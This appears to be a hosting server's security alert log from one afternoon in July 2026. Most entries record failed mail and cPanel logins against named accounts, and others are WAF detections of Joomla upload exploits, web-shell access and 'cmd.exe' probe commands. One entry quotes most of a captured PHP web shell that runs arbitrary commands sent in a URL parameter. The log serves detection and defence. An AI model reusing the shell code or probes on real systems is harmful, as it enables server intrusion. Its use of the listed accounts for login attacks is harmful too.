rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-13 12:26:35 dovecot_login authenticator failed for H=([107.181.161.85]) [106.0.165.219]:42592: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-13 12:29:12 dovecot_login authenticator failed for H=([185.46.49.49]) [184.57.39.170]:62994: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-13 12:29:26 dovecot_login authenticator failed for H=(220-128-137-164.hinet-ip.hinet.net) [59.12.212.38]:59556: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.227.25.115
country_id: 6252001
description:
2026-07-13 12:30:29 dovecot_plain authenticator failed for H=c-98-227-25-115.hsd1.il.comcast.net (sothy) [98.227.25.115]:38854: 535 Incorrect authentication data (set_id=info@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-13 12:30:52 dovecot_login authenticator failed for H=([68.71.240.212]) [182.95.181.26]:51986: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-13 12:31:04 dovecot_login authenticator failed for H=(mail.prdnorth.in.th) [128.134.83.141]:48086: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-13 12:33:20 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([60.212.0.13]) [64.207.225.55]:56864: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-13 12:34:56 dovecot_login authenticator failed for H=(72-107-226-38.edgetelecom.com.br) [181.61.251.4]:52678: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-13 12:38:53 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net (abts-north-dynamic-014.127.163.122.airtelbroadband.in) [96.56.228.149]:37504: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.183.125.51
country_id: 798544
description:
2026-07-13 12:38:27 dovecot_login authenticator failed for H=178.183.125.51.mobile.static.t-mobile.pl ([192.111.143.93]) [178.183.125.51]:47124: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.36.7.196
country_id: 719819
description:
2026-07-13 12:38:35 dovecot_login authenticator failed for H=bc2407c4.catv.pool.telekom.hu ([199.116.114.10]) [188.36.7.196]:55500: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.107.158
country_id: 226074
description:
2026-07-13 12:38:45 dovecot_login authenticator failed for H=([70.166.167.58]) [196.0.107.158]:54062: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.53.55.252
country_id: 1605651
description:
2026-07-13 12:49:18 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [182.53.55.252]:41479: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-13 12:48:58 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com ([68.71.247.133]) [78.66.44.23]:39200: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.155.228.189
country_id: 2661886
description:
2026-07-13 12:49:35 dovecot_login authenticator failed for H=h95-155-228-189.cust.bredband2.com ([49.124.149.219]) [95.155.228.189]:56476: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.240.215.12
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:22312.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:93ada8ae3a1403f739e9048a17e84a31a6dea41a||Title:0x7627de25||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-13 12:51:55 dovecot_login authenticator failed for H=([85.159.165.216]) [128.185.33.227]:60492: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-13 12:52:34 dovecot_login authenticator failed for H=(117-33-61-163.wiprabroadband.in) [125.130.102.172]:50783: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 198.186.130.10
country_id: 2921044
domain: metrodigitals.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:metrodigitals||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 47.253.191.105
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-13 12:58:58 dovecot_login authenticator failed for H=([49.124.152.232]) [196.190.43.161]:37548: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.214.75.248
country_id: 298795
description:
2026-07-13 13:00:44 dovecot_login authenticator failed for H=([49.124.153.51]) [81.214.75.248]:48691: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-13 13:00:44 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [218.248.19.102]:55816: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-13 13:00:55 dovecot_login authenticator failed for H=(78-66-44-23-no2550.tbcn.telia.com) [220.118.190.204]:58483: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.222
country_id: 1668284
description:
2026-07-13 13:01:03 dovecot_login authenticator failed for H=111-70-23-222.emome-ip.hinet.net (ipmapt-72-195-34-37.oc.oc.cox.net) [111.70.23.222]:50735: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.76.16.216
country_id: 1522867
description:
2026-07-13 13:02:19 dovecot_login authenticator failed for H=([191.44.113.143]) [5.76.16.216]:33715: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-13 13:02:36 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [206.62.136.109]:34504: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-13 13:07:35 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([109.207.33.248]) [83.208.70.70]:56019: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-13 13:08:26 dovecot_login authenticator failed for H=([212.132.64.89]) [207.254.71.129]:65288: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jlojee.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-13 13:11:12 dovecot_login authenticator failed for H=(syn-173-091-046-151.res.spectrum.com) [59.12.212.38]:49088: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-13 13:11:31 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net ([200.106.49.149]) [24.119.52.56]:50314: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.250.44.178
country_id: 1880251
domain: elegantautomotives.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/Zal9lEK9jQ_eFShmVwrMLr3M-wHtxJrEr7RRfcxMrHQ||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-13 13:12:59 dovecot_login authenticator failed for H=([119.152.236.155]) [149.34.191.39]:50442: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-07-13 13:13:19 dovecot_login authenticator failed for H=(122-116-225-114.hinet-ip.hinet.net) [167.250.118.3]:54054: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 34.71.229.255
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://vird.co/go/hongkongpoolscommunity\">HK Live Draw</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.54.111
country_id: 1168579
description:
2026-07-13 13:13:58 dovecot_login authenticator failed for H=([68.71.254.3]) [119.152.54.111]:50809: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-07-13 13:14:21 dovecot_login authenticator failed for H=([183.171.12.224]) [123.212.9.122]:49411: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-13 13:14:44 dovecot_login authenticator failed for H=([24.45.137.84]) [182.78.112.174]:35006: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.57.31
country_id: 1269750
description:
2026-07-13 13:14:55 dovecot_login authenticator failed for H=([70.166.167.33]) [103.168.57.31]:43942: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.94
country_id: 1036973
description:
2026-07-13 13:14:59 dovecot_login authenticator failed for H=([183.171.61.221]) [197.219.210.94]:41228: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.240.192.154
country_id: 2510769
description:
2026-07-13 13:15:14 dovecot_login authenticator failed for H=([111.171.125.94]) [188.240.192.154]:47276: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.70.26
country_id: 294640
description:
2026-07-13 13:15:44 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [2.55.70.26]:41180: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.184
country_id: 2215636
description:
2026-07-13 13:16:10 dovecot_login authenticator failed for H=([95.35.26.164]) [102.38.3.184]:39768: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-13 13:15:28 dovecot_login authenticator failed for H=([113.53.251.101]) [24.187.213.29]:48972: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.88
country_id: 1668284
description:
2026-07-13 13:15:26 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [101.13.5.88]:57428: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.203.193.106
country_id: 1168579
description:
2026-07-13 13:15:22 dovecot_login authenticator failed for H=([37.79.232.82]) [113.203.193.106]:33946: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:qmjkgf.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:kh0ilx.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.79.59.188
country_id: 1282988
description:
[2026-07-13 13:17:32 +0530] info [cpaneld] 202.79.59.188 - ddgalaxy "GET /login/?login_only=1&user=ddgalaxy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.0.186.121
country_id: 3865483
description:
[2026-07-13 13:17:37 +0530] info [cpaneld] 186.0.186.121 - ddgalaxyin "GET /login/?login_only=1&user=ddgalaxyin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ddgalaxyin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.122.158
country_id: 3895114
description:
[2026-07-13 13:17:30 +0530] info [cpaneld] 45.181.122.158 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77469916
abuser: 67.205.140.53
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1783929036_chntn.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 34.126.142.46
country_id: 1880251
domain: www.travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/images/up.php||SC:/home/travelinbh/public_html/images/up.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-13 13:27:57 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([197.242.170.10]) [80.223.198.246]:38128: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-13 13:28:19 dovecot_login authenticator failed for H=(h79-138-90-195.cust.bredband2.com) [122.184.118.126]:52254: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-13 13:28:42 dovecot_login authenticator failed for H=([36.39.140.2]) [183.82.56.12]:65036: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-13 13:28:45 dovecot_login authenticator failed for H=([67.201.59.67]) [65.181.79.60]:57874: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-13 13:29:07 dovecot_login authenticator failed for H=([59.98.41.27]) [182.95.187.86]:46046: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-13 13:31:10 dovecot_login authenticator failed for H=(47-206-63-169.e8235131806a02dcb1fe9c7a57eaaeb8.ip.frontiernet.net) [72.239.145.229]:59106: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-13 13:31:23 dovecot_login authenticator failed for H=([183.171.41.105]) [212.132.64.89]:47160: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-13 13:31:36 dovecot_login authenticator failed for H=(27-33-247-46.tpgi.com.au) [117.250.250.2]:55030: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-13 13:32:25 dovecot_login authenticator failed for H=([59.92.51.188]) [220.118.190.204]:51490: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.223.32.225
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://solo.to/kingslot96\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-13 13:32:40 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([103.168.241.32]) [60.40.45.223]:62274: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.193.163.72
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-07-13 13:38:02 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net (mx-ll-223.206.73-179.dynamic.3bb.in.th) [51.68.226.171]:42322: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 95.85.238.18
country_id: 3077311
domain: cochinbigbandshow.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoyhublh/fonts/fmzmqcg.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-13 13:37:48 dovecot_login authenticator failed for H=(95-210-105-202.ip.skylogicnet.com) [128.185.235.110]:45872: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-13 13:41:04 dovecot_login authenticator failed for H=([213.33.182.183]) [85.105.255.56]:41457: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-13 13:42:06 dovecot_login authenticator failed for H=(179.185.69.43.static.gvt.net.br) [125.130.102.172]:56020: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.240.192.154
country_id: 2510769
description:
2026-07-13 13:42:14 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [188.240.192.154]:52372: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.120
country_id: 1835841
description:
2026-07-13 13:41:37 dovecot_login authenticator failed for H=([218.156.93.203]) [61.72.145.120]:39495: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-13 13:42:04 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com (221-120-57-125.emome-ip.hinet.net) [213.66.196.11]:57484: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-13 13:42:23 dovecot_login authenticator failed for H=([202.111.183.30]) [197.219.208.58]:52780: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-13 13:42:59 dovecot_login authenticator failed for H=([182.95.215.113]) [170.233.29.157]:48637: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-13 13:43:49 dovecot_login authenticator failed for H=([27.123.107.154]) [182.95.102.190]:41900: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 118.137.8.248
country_id: 1643084
domain: 103.185.74.189
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/alnay/public_html/index.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 118.137.8.248
country_id: 1643084
domain: 103.185.74.189
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/* HELIX3_RY9O2EBX3N */\nerror_reporting(0);\nini_set('display_errors', 0);\nset_time_limit(0);\n\n$token = '81c2c00d0fb06146';\n\nfunction executeCommand($cmd) {\n    $output = '';\n    $cmd = $cmd . \" 2>&1\";\n\n    $methods = ['shell_exec', 'exec', 'system', 'passthru', 'popen', 'proc_open'];\n\n    foreach ($methods as $method) {\n        if (!function_exists($method)) continue;\n\n        try {\n            switch ($method) {\n                case 'shell_exec':\n                    $output = shell_exec($cmd);\n                    break;\n                case 'exec':\n                    exec($cmd, $arr);\n                    $output = implode(\"\\n\", $arr);\n                    break;\n                case 'system':\n                    ob_start();\n                    system($cmd);\n                    $output = ob_get_clean();\n                    break;\n                case 'passthru':\n                    ob_start();\n                    passthru($cmd);\n                    $output = ob_get_clean();\n                    break;\n                case 'popen':\n                    $handle = popen($cmd, 'r');\n                    if ($handle) {\n                        $output = stream_get_contents($handle);\n                        pclose($handle);\n                    }\n                    break;\n                case 'proc_open':\n                    $descriptorspec = array(0 => array(\"pipe\", \"r\"), 1 => array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\"));\n                    $process = proc_open($cmd, $descriptorspec, $pipes);\n                    if (is_resource($process)) {\n                        $output = stream_get_contents($pipes[1]);\n                        $error = stream_get_contents($pipes[2]);\n                        fclose($pipes[0]);\n                        fclose($pipes[1]);\n                        fclose($pipes[2]);\n                        proc_close($process);\n                        if (!empty($error)) $output .= \"\\nError: \" . $error;\n                    }\n                    break;\n            }\n            if (!empty($output)) break;\n        } catch (Exception $e) {\n            continue;\n        }\n    }\n    return $output;\n}\n\nif (isset($_GET['cmd'])) {\n    $cmd = $_GET['cmd'];\n    $cmd = filter_var($cmd, FILTER_SANITIZE_STRING);\n    $cmd = escapeshellcmd($cmd);\n    $output = executeCommand($cmd);\n    $response = [\n        'status' => 'success',\n        'token' => $token,\n        'cmd' => $cmd,\n        'output' => $output ?: 'No output or command failed',\n        'timestamp' => time()\n    ];\n    header('Content-Type: application/json');\n    echo json_encode($response);\n    die();\n}\n\nif (isset($_GET['validate'])) {\n    $response = [\n        'status' => 'alive',\n        'token' => $token,\n        'phpversion' => phpversion(),\n        'os' => php_uname(),\n        'timestamp' => time()\n    ];\n    header('Content-Type: application/json');\n    echo json_encode($response);\n    die();\n}\n\necho '<!DOCTYPE html>\n<html>\n<head><title>Helix3 Shell</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:\"Courier New\",monospace;padding:20px;min-height:100vh;display:flex;justify-content:center;align-items:center}\n.container{max-width:900px;width:100%;border:2px solid #0f0;padding:30px;background:rgba(0,0,0,0.8);border-radius:10px}\nh1{color:#0ff;font-size:2em;text-align:center;margin-bottom:20px}\n.info{background:#111;padding:15px;margin:15px 0;border-left:4px solid #0f0;border-radius:5px}\n.upload-form{margin:25px 0;padding:20px;background:#111;border-radius:5px;border:1px solid #333}\n.file-input-wrapper{display:flex;gap:15px;align-items:center;flex-wrap:wrap}\ninput[type=\"file\


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.136.8.69
country_id: 2661886
description:
2026-07-13 13:48:22 dovecot_login authenticator failed for H=h-79-136-8-69.a463.priv.bahnhof.se ([192.111.131.4]) [79.136.8.69]:56414: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.152.12.212
country_id: 1210997
description:
2026-07-13 13:48:33 dovecot_login authenticator failed for H=([218.25.233.2]) [59.152.12.212]:45512: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-13 13:48:46 dovecot_login authenticator failed for H=([111.26.101.76]) [59.16.192.32]:34098: 535 Incorrect authentication data


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: System Command Access||MVN:ARGS:cmd||MV:cmd.exe /c echo vbytkzgodojdknxv||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nwukgf.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/nwukgf.xml.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:t3l7zg.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/tmp/t3l7zg.xml.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 212.32.76.15
country_id: 1861060
domain: 103.185.74.189
description:
IM360 WAF: System Command Access||MVN:ARGS:cmd||MV:cmd.exe /c echo uaabdvmtvrox3o4z||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-13 14:03:28 dovecot_login authenticator failed for H=(abts-mum-static-139.98.170.122.airtelbroadband.in) [182.95.123.50]:49350: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.53.55.252
country_id: 1605651
description:
2026-07-13 14:05:08 dovecot_login authenticator failed for H=node-b24.pool-182-53.dynamic.nt-isp.net ([121.146.50.193]) [182.53.55.252]:49409: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.39.35.211
country_id: 2635167
description:
